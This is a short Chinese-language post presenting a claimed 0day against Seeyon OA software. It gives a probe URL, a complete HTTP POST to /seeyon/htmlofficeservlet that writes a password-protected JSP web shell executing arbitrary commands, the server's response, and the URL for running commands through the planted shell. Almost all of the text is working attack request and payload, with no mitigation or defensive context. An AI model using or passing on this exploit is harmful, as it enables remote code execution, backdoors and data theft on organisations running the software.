seeyon 最新上传0day

漏洞情况：
访问

```
/seeyon/htmlofficeservlet
```

出现

```
DBSTEP V3.0     0               21              0               htmoffice operate
err
```

POST包：

```
POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1121
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: xxxxxxxxx
Pragma: no-cache

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!p
ublic static String excuteCmd(String c) {StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedR
eader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp
 = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exceptio
n e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equ
als(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.pri
ntln("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(
```

```
":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
```

响应包：

```
DBSTEP V3.0     386             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
CLIENTIP=wLCXqUKAP7uhw4g5zi=6
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!p
ublic static String excuteCmd(String c) {StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedR
eader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp
 = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exceptio
n e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equ
als(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.pri
ntln("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(
":-)");}%>
```

访问/seeyon/test123456.jsp?pwd=asasd3344&cmd=echo asasd3344